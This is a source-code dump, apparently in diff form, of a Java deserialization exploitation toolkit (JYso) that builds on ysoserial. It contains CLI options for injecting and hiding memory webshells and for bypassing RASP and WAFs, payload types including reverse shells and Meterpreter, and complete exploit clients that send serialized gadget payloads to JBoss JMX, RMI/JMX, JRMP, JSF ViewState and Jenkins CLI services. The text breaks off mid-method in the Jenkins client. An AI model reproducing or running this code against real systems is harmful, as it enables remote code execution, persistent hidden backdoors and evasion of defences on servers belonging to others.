options.addOption("f", "file", true, "Write Output into FileOutputStream (Specified FileName)");
options.addOption("o", "obscure", false, "Using reflection to bypass RASP");
options.addOption("i", "inherit", false, "Make payload inherit AbstractTranslet or not (Lower JDK like 1.6 should inherit)");
options.addOption("u", "url", true, "MemoryShell binding url pattern,default [/version.txt]");
options.addOption("pw", "password", true, "Behinder or Godzilla password,default [p@ssw0rd]");
options.addOption("gzk", "godzilla-key", true, "Godzilla key,default [key]");
options.addOption("hk", "header-key", true, "MemoryShell Header Check,Request Header Key,default [Referer]");
options.addOption("hv", "header-value", true, "MemoryShell Header Check,Request Header Value,default [https://QI4L.cn/]");
options.addOption("ch", "cmd-header", true, "Request Header which pass the command to Execute,default [X-Token-Data]");
options.addOption("gen", "gen-mem-shell", false, "Write Memory Shell Class to File");
options.addOption("n", "gen-mem-shell-name", true, "Memory Shell Class File Name");
options.addOption("h", "hide-mem-shell", false, "Hide memory shell from detection tools (type 2 only support SpringControllerMS)");
options.addOption("ht", "hide-type", true, "Hide memory shell,type 1:write /jre/lib/charsets.jar 2:write /jre/classes/");
options.addOption("rh", "rhino", false, "ScriptEngineManager Using Rhino Engine to eval JS");
options.addOption("ncs", "no-com-sun", false, "Force Using org.apache.XXX.TemplatesImpl instead of com.sun.org.apache.XXX.TemplatesImpl");
options.addOption("mcl", "mozilla-class-loader", false, "Using org.mozilla.javascript.DefiningClassLoader in TransformerUtil");
options.addOption("dcfp", "define-class-from-parameter", true, "Customize parameter name when using DefineClassFromParameter");
options.addOption("utf", "utf8-Overlong-Encoding", false, "UTF-8 Overlong Encoding Bypass waf");
options.addOption("he1", "Hessian1", false, "Hessian1 Output");
options.addOption("he2", "Hessian2", false, "Hessian2 Output");
options.addOption("b64", "base64", false, "base64 encoding");
options.addOption("xs", "XStream", false, "Xstream Output");
options.addOption("kryo", "Kryo", false, "Kryo Output");
options.addOption("jy", "JYaml", false, "JYaml Output");
options.addOption("js","JsonIO", false, "JsonIO Output");
options.addOption("yb","YamlBeans", false, "YamlBeans Output");
options.addOption("ca", "Castor", false, "Castor Output");
options.addOption("jk", "Jackson", false, "Jackson Output");
return options;
}
private static void printUsage(Options options) {
System.err.println("[root]#~ Usage: java -jar JYso-[version].jar -y -g [payload] -p [command] [options]");
System.err.println("[root]#~ Available payload types:");
final List<Class<? extends ObjectPayload>> payloadClasses =
new ArrayList<Class<? extends ObjectPayload>>(ObjectPayload.Utils.getPayloadClasses());
Collections.sort(payloadClasses, new StringUtil.ToStringComparator()); // alphabetize
final List<String[]> rows = new LinkedList<String[]>();
rows.add(new String[]{"Payload", "Authors", "Dependencies"});
rows.add(new String[]{"-------", "-------", "------------"});
for (Class<? extends ObjectPayload> payloadClass : payloadClasses) {
rows.add(new String[]{
payloadClass.getSimpleName(),
StringUtil.join(Arrays.asList(Authors.Utils.getAuthors(payloadClass)), ", ", "@", ""),
StringUtil.join(Arrays.asList(Dependencies.Utils.getDependenciesSimple(payloadClass)), ", ", "", "")
});
}
final List<String> lines = StringUtil.formatTable(rows);
for (String line : lines) {
System.err.println(" " + line);
}
System.err.println("\r\n");
HelpFormatter helpFormatter = new HelpFormatter();
helpFormatter.setWidth(Math.min(200, jline.Terminal.getTerminal().getTerminalWidth()));
helpFormatter.printHelp("JYso-[version].jar", options, true);
System.err.println("\r\n");
System.err.println("Recommended Usage: -y -g [payload] -p '[command]' -dt 1 -dl 50000 -o -i -f evil.ser");
System.err.println("If you want your payload being extremely shortyou could just use:");
System.err.println("java -jar JYso-[version].jar -y -g [payload] -p '[command]' -i -f evil.ser");
System.exit(0);
}
}
@@ -0,0 +1,8 @@
package com.qi4l.JYso.enumtypes;
public enum GadgetType {
base64Two,
msf,
base64,
shell,
}
@@ -0,0 +1,47 @@
package com.qi4l.JYso.enumtypes;
public enum PayloadType {
sethttp,
dnslog,
tomcatupgrade,
command,
reverseshell,
tomcatecho,
springecho,
weblogicecho,
windowsecho,
linuxecho2,
linuxecho1,
allecho,
websphereecho,
resinecho,
tomcatfilterjmx,
tomcatfilterth,
tomcatlistenerjmx,
tomcatlistenerth,
tomcatservletjmx,
tomcatservletth,
jbossfilter,
jbossservlet,
webspherememshell,
springinterceptor,
springcontroller,
issuccess,
jettyfilter,
jettyservlet,
struts2actionms,
wsfilter,
tomcatexecutor,
meterpreter,
resinfilterth,
resinservletth,
jbossecho,
jettyecho,
cmsmsbync,
proxymsbync,
wsresin,
mstsjproxy,
mstsjser,
wsweblogic,
wswebsphereproxy,
}
@@ -0,0 +1,7 @@
package com.qi4l.JYso.enumtypes;
public enum WebsphereActionType {
list,
upload,
rce;
}
@@ -0,0 +1,11 @@
package com.qi4l.JYso.exceptions;
public class IncorrectParamsException extends RuntimeException {
public IncorrectParamsException() {
super();
}
public IncorrectParamsException(String message) {
super(message);
}
}
@@ -0,0 +1,11 @@
package com.qi4l.JYso.exceptions;
public class UnSupportedActionTypeException extends RuntimeException {
public UnSupportedActionTypeException() {
super();
}
public UnSupportedActionTypeException(String message) {
super(message);
}
}
@@ -0,0 +1,11 @@
package com.qi4l.JYso.exceptions;
public class UnSupportedGadgetTypeException extends RuntimeException {
public UnSupportedGadgetTypeException() {
super();
}
public UnSupportedGadgetTypeException(String message) {
super(message);
}
}
@@ -0,0 +1,11 @@
package com.qi4l.JYso.exceptions;
public class UnSupportedPayloadTypeException extends RuntimeException {
public UnSupportedPayloadTypeException() {
super();
}
public UnSupportedPayloadTypeException(String message) {
super(message);
}
}
@@ -0,0 +1,385 @@
package com.qi4l.JYso.exploit;
import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
import com.qi4l.JYso.controllers.ysoserial;
import com.qi4l.JYso.gadgets.utils.Reflections;
import org.jboss.remoting3.Connection;
import org.jboss.remoting3.*;
import org.jboss.remoting3.remote.HttpUpgradeConnectionProviderFactory;
import org.jboss.remoting3.spi.*;
import org.jboss.remotingjmx.VersionedConnection;
import org.xnio.*;
import org.xnio.IoFuture.Status;
import org.xnio.ssl.JsseXnioSsl;
import org.xnio.ssl.XnioSsl;
import javax.management.*;
import javax.management.remote.JMXServiceURL;
import javax.security.auth.callback.*;
import javax.security.sasl.RealmCallback;
import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.net.InetSocketAddress;
import java.net.MalformedURLException;
import java.net.SocketAddress;
import java.net.URI;
import java.security.KeyManagementException;
import java.security.NoSuchAlgorithmException;
import java.security.NoSuchProviderException;
import java.util.HashMap;
import java.util.Map;
import java.util.Set;
import java.util.concurrent.*;
import java.util.logging.*;
/**
* An exploitation client for JBoss AS/Wildfly JMX
* <p>
* JBoss is using a custom tunneled protocol for JMX, this is a client for this protocol.
* <p>
* This is not as readily exploitable as in other pieces of software:
* 1. they only allow authenticated access by default
* 2. they have a very strict module architecture:
* - all MBeans exported by default use classloaders that expose almost nothing useful
* - the module classloaders do not even expose the full boot classpath, so we cannot readily use stuff like
* com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
* <p>
* This client enumerates all application exported MBean method which are then called
* delivering the specified payload.
* <p>
* I.e. you can succesfully exploit that
* - you have access to the interface
* (username/password can be specified via URL, note: despite not noticeable,
* local connections implicitely use authentication)
* - there is an application exported MBean
* - that application imports the classes required for the gadget chain
*
* @author mbechler
*/
@SuppressWarnings({
"rawtypes"
})
public class JBoss {
public static void main(String[] args) throws Exception {
if (args.length < 5) {
System.err.println("Usage " + JBoss.class.getName() + " <uri> <args...> ");
System.exit(-1);
}
URI u = URI.create(args[0]);
// 去除前一个参数
String[] newArray = new String[args.length - 1];
System.arraycopy(args, 1, newArray, 0, newArray.length);
ysoserial(newArray);
Object payloadObject = ysoserial.PAYLOAD;
String username = null;
String password = null;
if (u.getUserInfo() != null) {
int sep = u.getUserInfo().indexOf(':');
if (sep >= 0) {
username = u.getUserInfo().substring(0, sep);
password = u.getUserInfo().substring(sep + 1);
} else {
System.err.println("Need <user>:<password>@");
System.exit(-1);
}
}
doRun(u, payloadObject, username, password);
}
private static void doRun(URI u, final Object payloadObject, String username, String password) {
ConnectionProvider instance = null;
ConnectionProviderContextImpl context = null;
ConnectionHandler ch = null;
Channel c = null;
VersionedConnection vc = null;
try {
Logger logger = LogManager.getLogManager().getLogger("");
logger.addHandler(new ConsoleLogHandler());
logger.setLevel(Level.INFO);
OptionMap options = OptionMap.builder().set(Options.SSL_ENABLED, u.getScheme().equals("https")).getMap();
context = new ConnectionProviderContextImpl(options, "endpoint");
instance = new HttpUpgradeConnectionProviderFactory().createInstance(context, options);
String host = u.getHost();
int port = u.getPort() > 0 ? u.getPort() : 9990;
SocketAddress destination = new InetSocketAddress(host, port);
ConnectionHandlerFactory chf = getConnection(destination, username, password, context, instance, options);
ch = chf.createInstance(new ConnectionHandlerContextImpl(context));
c = getChannel(context, ch, options);
System.err.println("Connected");
vc = makeVersionedConnection(c);
MBeanServerConnection mbc = vc.getMBeanServerConnection(null);
doExploit(payloadObject, mbc);
System.err.println("DONE");
} catch (Throwable e) {
e.printStackTrace(System.err);
} finally {
cleanup(instance, context, ch, c, vc);
}
}
private static void cleanup(ConnectionProvider instance, ConnectionProviderContextImpl context, ConnectionHandler ch, Channel c,
VersionedConnection vc) {
if (vc != null) {
vc.close();
}
if (c != null) {
try {
c.close();
} catch (IOException e) {
e.printStackTrace(System.err);
}
}
if (ch != null) {
try {
ch.close();
} catch (IOException e) {
e.printStackTrace(System.err);
}
}
if (instance != null) {
try {
instance.close();
} catch (IOException e) {
e.printStackTrace(System.err);
}
}
if (context != null) {
context.getXnioWorker().shutdown();
}
}
private static ConnectionHandlerFactory getConnection(SocketAddress destination, final String username, final String password,
ConnectionProviderContextImpl context, ConnectionProvider instance, OptionMap options)
throws IOException, InterruptedException, KeyManagementException, NoSuchProviderException, NoSuchAlgorithmException {
XnioSsl xnioSsl = new JsseXnioSsl(context.getXnio(), options);
FutureResult<ConnectionHandlerFactory> result = new FutureResult<ConnectionHandlerFactory>();
instance.connect(null, destination, options, result, new CallbackHandler() {
public void handle(Callback[] callbacks) throws IOException, UnsupportedCallbackException {
for (Callback cb : callbacks) {
if (cb instanceof NameCallback) {
((NameCallback) cb).setName(username);
} else if (cb instanceof PasswordCallback) {
((PasswordCallback) cb).setPassword(password != null ? password.toCharArray() : new char[0]);
} else if (!(cb instanceof RealmCallback)) {
System.err.println(cb);
throw new UnsupportedCallbackException(cb);
}
}
}
}, xnioSsl);
System.err.println("waiting for connection");
IoFuture<ConnectionHandlerFactory> ioFuture = result.getIoFuture();
Status s = ioFuture.await(5, TimeUnit.SECONDS);
if (s == Status.FAILED) {
System.err.println("Cannot connect");
if (ioFuture.getException() != null) {
ioFuture.getException().printStackTrace(System.err);
}
} else if (s != Status.DONE) {
ioFuture.cancel();
System.err.println("Connect timeout");
System.exit(-1);
}
ConnectionHandlerFactory chf = ioFuture.getInterruptibly();
return chf;
}
private static Channel getChannel(ConnectionProviderContextImpl context, ConnectionHandler ch, OptionMap options) throws IOException {
Channel c;
FutureResult<Channel> chResult = new FutureResult<Channel>(context.getExecutor());
ch.open("jmx", chResult, options);
IoFuture<Channel> cFuture = chResult.getIoFuture();
Status s2 = cFuture.await();
if (s2 == Status.FAILED) {
System.err.println("Cannot connect");
if (cFuture.getException() != null) {
throw new IOException("Connect failed", cFuture.getException());
}
} else if (s2 != Status.DONE) {
cFuture.cancel();
throw new IOException("Connect timeout");
}
c = cFuture.get();
return c;
}
private static VersionedConnection makeVersionedConnection(Channel c)
throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, MalformedURLException {
VersionedConnection vc;
Class<?> vcf = Class.forName("org.jboss.remotingjmx.VersionedConectionFactory");
Method vcCreate = vcf.getDeclaredMethod("createVersionedConnection", Channel.class, Map.class, JMXServiceURL.class);
Reflections.setAccessible(vcCreate);
vc = (VersionedConnection) vcCreate.invoke(null, c, new HashMap(), new JMXServiceURL("service:jmx:remoting-jmx://"));
return vc;
}
private static void doExploit(final Object payloadObject, MBeanServerConnection mbc)
throws IOException, InstanceNotFoundException, IntrospectionException, ReflectionException {
Object[] params = new Object[1];
params[0] = payloadObject;
System.err.println("Querying MBeans");
Set<ObjectInstance> testMBeans = mbc.queryMBeans(null, null);
System.err.println("Found " + testMBeans.size() + " MBeans");
for (ObjectInstance oi : testMBeans) {
MBeanInfo mBeanInfo = mbc.getMBeanInfo(oi.getObjectName());
for (MBeanOperationInfo opInfo : mBeanInfo.getOperations()) {
try {
mbc.invoke(oi.getObjectName(), opInfo.getName(), params, new String[]{});
System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> SUCCESS");
return;
} catch (Throwable e) {
String msg = e.getMessage();
if (msg.startsWith("java.lang.ClassNotFoundException:")) {
int start = msg.indexOf('"');
int stop = msg.indexOf('"', start + 1);
String module = (start >= 0 && stop > 0) ? msg.substring(start + 1, stop) : "<unknown>";
if (!"<unknown>".equals(module) && !"org.jboss.as.jmx:main".equals(module)) {
int cstart = msg.indexOf(':');
int cend = msg.indexOf(' ', cstart + 2);
String cls = msg.substring(cstart + 2, cend);
System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> FAIL CNFE " + cls + " (" + module + ")");
}
} else {
System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> SUCCESS|ERROR " + msg);
return;
}
}
}
}
}
private static final class ConsoleLogHandler extends Handler {
@Override
public void publish(LogRecord record) {
System.err.println(record.getMessage());
}
@Override
public void flush() {
}
@Override
public void close() throws SecurityException {
}
}
@SuppressWarnings({"deprecation"})
private static final class ConnectionHandlerContextImpl implements ConnectionHandlerContext {
private ConnectionProviderContextImpl context;
public ConnectionHandlerContextImpl(ConnectionProviderContextImpl context) {
this.context = context;
}
public void remoteClosed() {
}
public OpenListener getServiceOpenListener(String serviceType) {
return null;
}
public RegisteredService getRegisteredService(String serviceType) {
return null;
}
public ConnectionProviderContext getConnectionProviderContext() {
return this.context;
}
public Connection getConnection() {
return null;
}
}
private static final class ConnectionProviderContextImpl implements ConnectionProviderContext {
private XnioWorker worker;
private ExecutorService executor;
private Xnio instance;
private Endpoint endpoint;
public ConnectionProviderContextImpl(OptionMap opts, String endpointName) throws IllegalArgumentException, IOException {
this.instance = Xnio.getInstance();
this.worker = this.instance.createWorker(opts);
this.endpoint = Remoting.createEndpoint(endpointName, this.worker, opts);
this.executor = Executors.newCachedThreadPool(new ThreadFactory() {
public Thread newThread(Runnable r) {
Thread t = new Thread(r, "Worker");
t.setDaemon(true);
return t;
}
});
}
public XnioWorker getXnioWorker() {
return this.worker;
}
public Xnio getXnio() {
return this.instance;
}
public Executor getExecutor() {
return this.executor;
}
public Endpoint getEndpoint() {
return this.endpoint;
}
public void accept(ConnectionHandlerFactory connectionHandlerFactory) {
System.err.println("accept");
}
}
}
@@ -0,0 +1,45 @@
package com.qi4l.JYso.exploit;
import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
import com.qi4l.JYso.controllers.ysoserial;
import javax.management.MBeanServerConnection;
import javax.management.ObjectName;
import javax.management.remote.JMXConnector;
import javax.management.remote.JMXConnectorFactory;
import javax.management.remote.JMXServiceURL;
/*
* Utility program for exploiting RMI based JMX services running with required gadgets available in their ClassLoader.
* Attempts to exploit the service by invoking a method on a exposed MBean, passing the payload as argument.
*
*/
public class JMXInvokeMBean {
public static void main(String[] args) throws Exception {
if (args.length < 6) {
System.err.println(JMXInvokeMBean.class.getName() + " <host> <port> <arg...>");
System.exit(-1);
}
JMXServiceURL url = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + args[0] + ":" + args[1] + "/jmxrmi");
JMXConnector jmxConnector = JMXConnectorFactory.connect(url);
MBeanServerConnection mbeanServerConnection = jmxConnector.getMBeanServerConnection();
// 去除前两个参数
String[] newArray = new String[args.length - 2];
System.arraycopy(args, 2, newArray, 0, newArray.length);
ysoserial(newArray);
Object payloadObject = ysoserial.PAYLOAD;
ObjectName mbeanName = new ObjectName("java.util.logging:type=Logging");
mbeanServerConnection.invoke(mbeanName, "getLoggerLevel", new Object[]{payloadObject}, new String[]{String.class.getCanonicalName()});
//close the connection
jmxConnector.close();
}
}
@@ -0,0 +1,48 @@
package com.qi4l.JYso.exploit;
import com.qi4l.JYso.gadgets.JRMPClient;
import java.net.URL;
/**
* JRMP listener triggering RMI remote classloading
* <p>
* Opens up an JRMP listener that will deliver a remote classpath class to the calling client.
* <p>
* Mostly CVE-2013-1537 (presumably, does not state details) with the difference that you don't need
* access to an RMI socket when you can deliver {@link JRMPClient}.
* <p>
* This only works if
* - the remote end is running with a security manager
* - java.rmi.server.useCodebaseOnly=false (default until 7u21)
* - the remote has the proper permissions to remotely load the class (mostly URLPermission)
* <p>
* and, of course, the payload class is then run under the security manager with a remote codebase
* so either the policy needs to allow whatever you want to do in the payload or you need to combine
* with a security manager bypass exploit (wouldn't be the first time).
*
* @author mbechler
*/
public class JRMPClassLoadingListener {
public static final void main(final String[] args) {
if (args.length < 3) {
System.err.println(JRMPClassLoadingListener.class.getName() + " <port> <url> <className>");
System.exit(-1);
return;
}
try {
int port = Integer.parseInt(args[0]);
System.err.println("* Opening JRMP listener on " + port);
JRMPListener c = new JRMPListener(port, args[2], new URL(args[1]));
c.run();
} catch (Exception e) {
System.err.println("Listener error");
e.printStackTrace(System.err);
}
}
}
@@ -0,0 +1,134 @@
package com.qi4l.JYso.exploit;
import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
import com.qi4l.JYso.controllers.ysoserial;
import sun.rmi.transport.TransportConstants;
import javax.net.SocketFactory;
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.net.*;
/**
* Generic JRMP client
* <p>
* Pretty much the same thing as {@link RMIBindExploit} but
* - targeting the remote DGC (Distributed Garbage Collection, always there if there is a listener)
* - not deserializing anything (so you don't get yourself exploited ;))
*
* @author mbechler
*/
@SuppressWarnings({
"restriction"
})
public class JRMPClient {
public static final void main(final String[] args) throws Exception {
if (args.length < 5) {
System.err.println(JRMPClient.class.getName() + " <host> <port> <args...>");
System.exit(-1);
}
String hostname = args[0];
int port = Integer.parseInt(args[1]);
// 去除前两个参数
String[] newArray = new String[args.length - 2];
System.arraycopy(args, 2, newArray, 0, newArray.length);
ysoserial(newArray);
Object payloadObject = ysoserial.PAYLOAD;
try {
System.err.println(String.format("* Opening JRMP socket %s:%d", hostname, port));
makeDGCCall(hostname, port, payloadObject);
} catch (Exception e) {
e.printStackTrace(System.err);
}
}
public static void makeDGCCall(String hostname, int port, Object payloadObject) throws IOException, UnknownHostException, SocketException {
InetSocketAddress isa = new InetSocketAddress(hostname, port);
Socket s = null;
DataOutputStream dos = null;
try {
s = SocketFactory.getDefault().createSocket(hostname, port);
s.setKeepAlive(true);
s.setTcpNoDelay(true);
OutputStream os = s.getOutputStream();
dos = new DataOutputStream(os);
dos.writeInt(TransportConstants.Magic);
dos.writeShort(TransportConstants.Version);
dos.writeByte(TransportConstants.SingleOpProtocol);
dos.write(TransportConstants.Call);
@SuppressWarnings("resource") final ObjectOutputStream objOut = new MarshalOutputStream(dos);
objOut.writeLong(2); // DGC
objOut.writeInt(0);
objOut.writeLong(0);
objOut.writeShort(0);
objOut.writeInt(1); // dirty
objOut.writeLong(-669196253586618813L);
objOut.writeObject(payloadObject);
os.flush();
} finally {
if (dos != null) {
dos.close();
}
if (s != null) {
s.close();
}
}
}
static final class MarshalOutputStream extends ObjectOutputStream {
private URL sendUrl;
public MarshalOutputStream(OutputStream out, URL u) throws IOException {
super(out);
this.sendUrl = u;
}
MarshalOutputStream(OutputStream out) throws IOException {
super(out);
}
@Override
protected void annotateClass(Class<?> cl) throws IOException {
if (this.sendUrl != null) {
writeObject(this.sendUrl.toString());
} else if (!(cl.getClassLoader() instanceof URLClassLoader)) {
writeObject(null);
} else {
URL[] us = ((URLClassLoader) cl.getClassLoader()).getURLs();
String cb = "";
for (URL u : us) {
cb += u.toString();
}
writeObject(cb);
}
}
/**
* Serializes a location from which to load the specified class.
*/
@Override
protected void annotateProxyClass(Class<?> cl) throws IOException {
annotateClass(cl);
}
}
}
@@ -0,0 +1,293 @@
package com.qi4l.JYso.exploit;
import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
import com.qi4l.JYso.controllers.ysoserial;
import com.qi4l.JYso.gadgets.utils.Reflections;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import sun.rmi.transport.TransportConstants;
import javax.management.BadAttributeValueExpException;
import javax.net.ServerSocketFactory;
import java.io.*;
import java.net.*;
import java.rmi.MarshalException;
import java.rmi.server.ObjID;
import java.rmi.server.UID;
import java.util.Arrays;
/**
* Generic JRMP listener
* <p>
* Opens up an JRMP listener that will deliver the specified payload to any
* client connecting to it and making a call.
*
* @author mbechler
*/
@SuppressWarnings({
"restriction"
})
public class JRMPListener implements Runnable {
private int port;
private Object payloadObject;
private ServerSocket ss;
private Object waitLock = new Object();
private boolean exit;
private boolean hadConnection;
private URL classpathUrl;
public JRMPListener(int port, Object payloadObject) throws NumberFormatException, IOException {
this.port = port;
this.payloadObject = payloadObject;
this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port);
}
public JRMPListener(int port, String className, URL classpathUrl) throws IOException {
this.port = port;
this.payloadObject = makeDummyObject(className);
this.classpathUrl = classpathUrl;
this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port);
}
public static final void main(final String[] args) throws Exception {
if (args.length < 5) {
System.err.println(JRMPListener.class.getName() + " <port> <args...> ");
System.exit(-1);
return;
}
// 去除第一个参数
String[] newArray = new String[args.length - 1];
System.arraycopy(args, 1, newArray, 0, newArray.length);
ysoserial(newArray);
final Object payloadObject = ysoserial.PAYLOAD;
try {
int port = Integer.parseInt(args[0]);
System.err.println("* Opening JRMP listener on " + port);
JRMPListener c = new JRMPListener(port, payloadObject);
c.run();
} catch (Exception e) {
System.err.println("Listener error");
e.printStackTrace(System.err);
}
}
@SuppressWarnings({"deprecation"})
protected static Object makeDummyObject(String className) {
try {
ClassLoader isolation = new ClassLoader() {
};
ClassPool cp = new ClassPool();
cp.insertClassPath(new ClassClassPath(Dummy.class));
CtClass clazz = cp.get(Dummy.class.getName());
clazz.setName(className);
return clazz.toClass(isolation).newInstance();
} catch (Exception e) {
e.printStackTrace();
return new byte[0];
}
}
public boolean waitFor(int i) {
try {
if (this.hadConnection) {
return true;
}
System.err.println("Waiting for connection");
synchronized (this.waitLock) {
this.waitLock.wait(i);
}
return this.hadConnection;
} catch (InterruptedException e) {
return false;
}
}
public void close() {
this.exit = true;
try {
this.ss.close();
} catch (IOException e) {
}
synchronized (this.waitLock) {
this.waitLock.notify();
}
}
public void run() {
try {
Socket s = null;
try {
while (!this.exit && (s = this.ss.accept()) != null) {
try {
s.setSoTimeout(5000);
InetSocketAddress remote = (InetSocketAddress) s.getRemoteSocketAddress();
System.err.println("Have connection from " + remote);
InputStream is = s.getInputStream();
InputStream bufIn = is.markSupported() ? is : new BufferedInputStream(is);
// Read magic (or HTTP wrapper)
bufIn.mark(4);
DataInputStream in = new DataInputStream(bufIn);
int magic = in.readInt();
short version = in.readShort();
if (magic != TransportConstants.Magic || version != TransportConstants.Version) {
s.close();
continue;
}
OutputStream sockOut = s.getOutputStream();
BufferedOutputStream bufOut = new BufferedOutputStream(sockOut);
DataOutputStream out = new DataOutputStream(bufOut);
byte protocol = in.readByte();
switch (protocol) {
case TransportConstants.StreamProtocol:
out.writeByte(TransportConstants.ProtocolAck);
if (remote.getHostName() != null) {
out.writeUTF(remote.getHostName());
} else {
out.writeUTF(remote.getAddress().toString());
}
out.writeInt(remote.getPort());
out.flush();
in.readUTF();
in.readInt();
case TransportConstants.SingleOpProtocol:
doMessage(s, in, out, this.payloadObject);
break;
default:
case TransportConstants.MultiplexProtocol:
System.err.println("Unsupported protocol");
s.close();
continue;
}
bufOut.flush();
out.flush();
} catch (InterruptedException e) {
return;
} catch (Exception e) {
e.printStackTrace(System.err);
} finally {
System.err.println("Closing connection");
s.close();
}
}
} finally {
if (s != null) {
s.close();
}
if (this.ss != null) {
this.ss.close();
}
}
} catch (SocketException e) {
return;
} catch (Exception e) {
e.printStackTrace(System.err);
}
}
private void doMessage(Socket s, DataInputStream in, DataOutputStream out, Object payload) throws Exception {
System.err.println("Reading message...");
int op = in.read();
switch (op) {
case TransportConstants.Call:
// service incoming RMI call
doCall(in, out, payload);
break;
case TransportConstants.Ping:
// send ack for ping
out.writeByte(TransportConstants.PingAck);
break;
case TransportConstants.DGCAck:
UID u = UID.read(in);
break;
default:
throw new IOException("unknown transport op " + op);
}
s.close();
}
private void doCall(DataInputStream in, DataOutputStream out, Object payload) throws Exception {
ObjectInputStream ois = new ObjectInputStream(in) {
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if ("[Ljava.rmi.server.ObjID;".equals(desc.getName())) {
return ObjID[].class;
} else if ("java.rmi.server.ObjID".equals(desc.getName())) {
return ObjID.class;
} else if ("java.rmi.server.UID".equals(desc.getName())) {
return UID.class;
}
throw new IOException("Not allowed to read object");
}
};
ObjID read;
try {
read = ObjID.read(ois);
} catch (java.io.IOException e) {
throw new MarshalException("unable to read objID", e);
}
if (read.hashCode() == 2) {
ois.readInt(); // method
ois.readLong(); // hash
System.err.println("Is DGC call for " + Arrays.toString((ObjID[]) ois.readObject()));
}
System.err.println("Sending return with payload for obj " + read);
out.writeByte(TransportConstants.Return);// transport op
ObjectOutputStream oos = new JRMPClient.MarshalOutputStream(out, this.classpathUrl);
oos.writeByte(TransportConstants.ExceptionalReturn);
new UID().write(oos);
BadAttributeValueExpException ex = new BadAttributeValueExpException(null);
Reflections.setFieldValue(ex, "val", payload);
oos.writeObject(ex);
oos.flush();
out.flush();
this.hadConnection = true;
synchronized (this.waitLock) {
this.waitLock.notifyAll();
}
}
public static class Dummy implements Serializable {
private static final long serialVersionUID = 1L;
}
}
@@ -0,0 +1,79 @@
package com.qi4l.JYso.exploit;
import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
import com.qi4l.JYso.controllers.ysoserial;
import org.apache.commons.codec.binary.Base64;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.net.HttpURLConnection;
import java.net.URL;
import java.net.URLConnection;
import java.net.URLEncoder;
/**
* JSF view state exploit
* <p>
* Delivers a gadget payload via JSF ViewState token.
* <p>
* This will only work if ViewState encryption/mac is disabled.
* <p>
* While it has been long known that client side state saving
* with encryption disabled leads to RCE via EL injection,
* this of course also works with deserialization gadgets.
* <p>
* Also, it turns out that MyFaces is vulnerable to this even when
* using server-side state saving
* (yes, please, let's (de-)serialize a String as an Object).
*
* @author mbechler
*/
public class JSF {
public static void main(String[] args) {
if (args.length < 3) {
System.err.println(JSF.class.getName() + " <view_url> <args...>");
System.exit(-1);
}
try {
URL u = new URL(args[0]);
// 去除前两个参数
String[] newArray = new String[args.length - 1];
System.arraycopy(args, 1, newArray, 0, newArray.length);
ysoserial(newArray);
Object payloadObject = ysoserial.PAYLOAD;
URLConnection c = u.openConnection();
if (!(c instanceof HttpURLConnection)) {
throw new IllegalArgumentException("Not a HTTP url");
}
HttpURLConnection hc = (HttpURLConnection) c;
hc.setDoOutput(true);
hc.setRequestMethod("POST");
hc.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
OutputStream os = hc.getOutputStream();
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(payloadObject);
oos.close();
byte[] data = bos.toByteArray();
String requestBody = "javax.faces.ViewState=" + URLEncoder.encode(Base64.encodeBase64String(data), "US-ASCII");
os.write(requestBody.getBytes("US-ASCII"));
os.close();
System.err.println("Have response code " + hc.getResponseCode() + " " + hc.getResponseMessage());
} catch (Exception e) {
e.printStackTrace(System.err);
}
}
}
@@ -0,0 +1,120 @@
package com.qi4l.JYso.exploit;
import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
import com.qi4l.JYso.controllers.ysoserial;
import com.qi4l.JYso.gadgets.utils.Reflections;
import hudson.remoting.Callable;
import hudson.remoting.Channel;
import hudson.remoting.Channel.Mode;
import hudson.remoting.ChannelBuilder;
import javax.net.SocketFactory;
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.OutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.net.*;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import java.util.concurrent.ThreadFactory;
/**
* Jenkins CLI client
* <p>
* Jenkins unfortunately is still using a custom serialization based
* protocol for remote communications only protected by a blacklisting
* application level filter.
* <p>
* This is a generic client delivering a gadget chain payload via that protocol.
*
* @author mbechler
*/
public class JenkinsCLI {
public static final void main(final String[] args) throws Exception {
if (args.length < 5) {
System.err.println(JenkinsCLI.class.getName() + " <jenkins_url> <args...>");
System.exit(-1);
}
String jenkinsUrl = args[0];
// 去除前一个参数
String[] newArray = new String[args.length - 1];
System.arraycopy(args, 1, newArray, 0, newArray.length);
ysoserial(newArray);
Object payloadObject = ysoserial.PAYLOAD;
Channel c = null;
try {
InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl);
c = JenkinsCLI.openChannel(isa);
c.call(getPropertyCallable(payloadObject));
} catch (Throwable e) {
e.printStackTrace();
} finally {
if (c != null) {
try {
c.close();
} catch (IOException e) {
e.printStackTrace(System.err);
}
}
}
}
public static Callable<?, ?> getPropertyCallable(final Object prop)
throws ClassNotFoundException, NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
Class<?> reqClass = Class.forName("hudson.remoting.RemoteInvocationHandler$RPCRequest");
